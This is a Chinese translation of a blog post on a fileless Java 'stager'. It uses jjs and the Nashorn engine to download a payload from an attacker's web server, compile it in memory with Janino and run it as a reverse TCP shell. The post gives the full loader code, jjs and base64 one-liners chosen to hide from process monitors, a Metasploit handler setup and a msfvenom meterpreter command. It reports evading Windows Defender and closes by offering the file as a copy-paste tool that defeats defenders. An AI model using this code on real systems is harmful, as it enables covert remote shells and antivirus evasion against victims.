Java傳輸器之無招勝有招
前段時間在網上讀了一篇有關java傳輸器的部落格 ofollow,noindex" target="_blank">Java Stager without the Stager 。該文講述了利用java的jjs元件和Nashorn引擎下載並執行payload,由於該利用程式不含惡意程式碼因此免疫大部分殺軟的查殺,又由於payload在記憶體中編譯執行,許多實時防禦系統也無法檢測到。現將該文翻譯如下:
最近我一直在研究java,實際上,這是本月出的第三篇部落格。
部落格一 這篇文章裡我展示了一個java傳輸器,用它可以下載payload,在記憶體中編譯它並執行。
部落格二 這篇文章裡我介紹了利用jjs(jre環境元件,自java8引入)在安裝了java的裝置上做一些壞事。它通過呼叫Nashorn引擎以javascript語法訪問java物件。
在本文中,我將綜合以上兩種方法通過Nashorn在“無”java傳輸器的情況下傳送payload。
缺陷分析
我們重新分析一下傳輸器的目標及特性:
傳輸器是上傳到目標主機的一個執行檔案或指令碼。
傳輸器必須是正常程式碼以躲避殺軟的粗暴分析。
傳輸器接著通過HTTP將實際payload下載到記憶體,這也是躲避殺軟策略的方法。
這種“躲入記憶體”的方法來源於James Williams釋出在油管的視訊《英特網太熱》(~……~)。這段視訊被一家防毒廠商以版權問題強制臨時下架,這使視訊一下火了。目前已有3萬2千的播放量,比第二名多了3萬。而第二名是一段今年BSides Manchester會議的視訊。
Nashorn Payload
我用牛逼的Nashorn引擎實現了一個和Java傳輸器一樣的TCP反彈SHELL。老版本可以在這裡看到: Shell.java" rel="nofollow,noindex" target="_blank">https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java 下面是使用Nashorn的新版本:
// 將這裡改為攻擊者主機地址 var host = "http:///"; // 通過HTTP載入NnClassLoader load(host + "NnClassLoader.js"); // 使用NnClassLoader下載Janino和Apache的jar包 // Obtain these Jar files and stick them in your web root var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']}); var P = L.type('org.codehaus.janino.SimpleCompiler'); var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler"); // 引入我們要用的物件 var BufferedReader = Java.type("java.io.BufferedReader"); var InputStreamReader = Java.type("java.io.InputStreamReader"); var StringReader = Java.type("java.io.StringReader"); var StringBuffer = Java.type("java.lang.StringBuffer"); var Method = Java.type("java.lang.reflect.Method"); var URL = Java.type("java.net.URL"); var URLConnection = Java.type("java.net.URLConnection"); // 將java傳輸器版的Payload.java檔案放在攻擊者的web server上 // 由這段程式碼下載payload var payloadServer = new URL(host + "Payload.java"); var yc = payloadServer.openConnection(); var ins = new BufferedReader(new InputStreamReader(yc.getInputStream())); // 將程式碼讀入記憶體中的字串中 var inputLine; var payloadCode = new StringBuffer(); while ((inputLine = ins.readLine()) != null) { payloadCode.append(inputLine + "\n"); } // 關閉輸入流 ins.close(); print("[*] Downloaded payload"); // 用Janino編譯 print("[*] Compiling ...."); var compiler = new SimpleCompiler(); compiler.cook(new StringReader(payloadCode.toString())); var compiled = compiler.getClassLoader().loadClass("Payload") ; // 通過反射機制執行run方法print("[*] Executing ...."); var runMeth = compiled.getMethod("Run"); // 這種方式呼叫的是static型的run方法 runMeth.invoke(null); print("[*] Payload, payloading ....");
但願註解能夠說清它的原理。大致過程是這樣:
下載NnClassLoader.js庫,它可以載入特定類。
下載必需的兩個java庫(janino,comons-compiler),記憶體編譯時需要它們。
下載payload並放入記憶體。
在記憶體中編譯。
用反射機制執行payload物件的run方法來觸發payload
就和前面文章的過程一模一樣。
準備攻擊者伺服器
攻擊者的伺服器根目錄下需要反之以下檔案:
1. NnClassLoader
2. janino-3.0.8.jar
3. commons-compiler-3.0.8-jar
4. Payload.java
接著你可以啟動metasploit的multi/handler模組並把payload設定為”generic/shell_reverse_tcp”。
攻擊目標主機
再次宣告:這裡只是以研究為目的的攻擊。你要做的是將上述Nashorn程式碼拷貝並粘入目標機器的文字編輯器,接下來你要做的是:
將Nashorn程式碼的host設定攻擊者主機
儲存js程式碼入磁碟,例如取名為“revshell.js”
使用jjs的話可以有3中方法執行“revshell.js”:
方法一:
# 作為jjs的引數執行 jjs path/to/revshell.js
該方法的優點是so easy,但缺點在於當你開啟Sysinternals的程序管理器時,你會看到它會暴露payload的路徑,這可不怎麼好。
方法二:
# 使用echo命令將標準輸入通過管道發給jjs介面 echo load("path/to/revshell.js")|jjs
再次檢視程序管理器我們發現不再有路徑資訊暴露了。
方法三:
# 在jjs互動態時輸入命令 jjs jjs> load("path/to/revshell.js")
這種方法的效果和第二種一樣。
全在記憶體裡完成
上一步驟的過程不錯,但仍舊會儲存一份檔案在磁碟中。如果你想全部在記憶體中完成,可以這樣做:
上傳你的”revshell.js”到你的web server並使用”load()”
或者直接貼上revshell的程式碼到jjs的互動介面中去。
最後一步,是將你的payload用base64編碼,然後只貼上一行命令到jjs中。在windows環境下,你還可以用powershell、certutil來進行base64編碼。當你有了base64版本的payload後,只要像下面這樣把它粘入”ENCODED_TEXT”部分就行:
echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); |jjs
它將會在Oracle已經簽名過的jjs.exe的上下文中執行,同時也避免了輸入引數出現在windows程序管理器中。
好吧,有東西存到磁碟了^_^
Sysinternals的程序管理器的過濾功能我們發現:
我發現我們的jjs(在這裡是pid 3504)建立了臨時檔案:
這其實是NnClassLoader建立的,它們是janino和common-compiler包的副本。因為它們並非惡意程式碼,所以能通過任何安全軟體的審查。以上就是我對上一版本的java傳輸器的改進。
彙總測試
首先是攻擊者啟動伺服器並捕捉反彈回的shell:
如下是目標主機在執行echo base64(payload) | jjs後的結果:
Whoops!攻擊成功了!
嘗試觸發殺軟警報
java傳輸器和Nashorn例子中用的payload目前應該能躲過大多數殺軟的策略。原因如下:
它們大多數是存在於記憶體中,一個經典的躲藏位置
payload出自我手。任何時候最有效的逃逸殺軟辦法就是自己寫payload。如果目標主機的殺軟沒有特徵碼來匹配你的payload,那你幾乎能為所欲為了。
正因如此,我想嘗試在開啟更新的Windows Defender中觸發警報。我把Defender設定在high級別,接下我們用Eicar測試來觸發警報。
加入Eicar
在我的目標虛擬機器中,我用load()來獲取eicar語句拷貝:
下載過程沒有毛病但卻無法執行,因為eicar語句並不是js語句。沒有報警,說明訪問掃描功能無法發現記憶體中的Eicar,同理我們藏payload的地方難以發現。<br>
為了觸發警報,我不得不用java把Eicar語句寫入磁碟,如下:
當執行到”fw.close()”的時刻Defender也觸發了警報。
最後一次測試
我做的最後一次測試時直接用msfvenom直接生成一個未編碼的payload,如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp
然後我用load()下載它:
又一次Defender沒有報警但它卻執行失敗了,同樣因為它不是js檔案。連msfvenom赤果果的payload都沒報警我不知道還有什麼需要測試了。
好了,你可以用它了,一個可以擊敗藍軍的只需複製貼上就能做很多事的“空中”(原文為:離地的)檔案。
參考文獻
[1] https://github.com/NashornTools/NnClassLoader
[2] http://repo1.maven.org/maven2/org/codehaus/janino/janino/
[3] http://repo1.maven.org/maven2/org/codehaus/janino/commons-compiler/
*本文作者:l0stTemple,轉載請註明來自FreeBuf.COM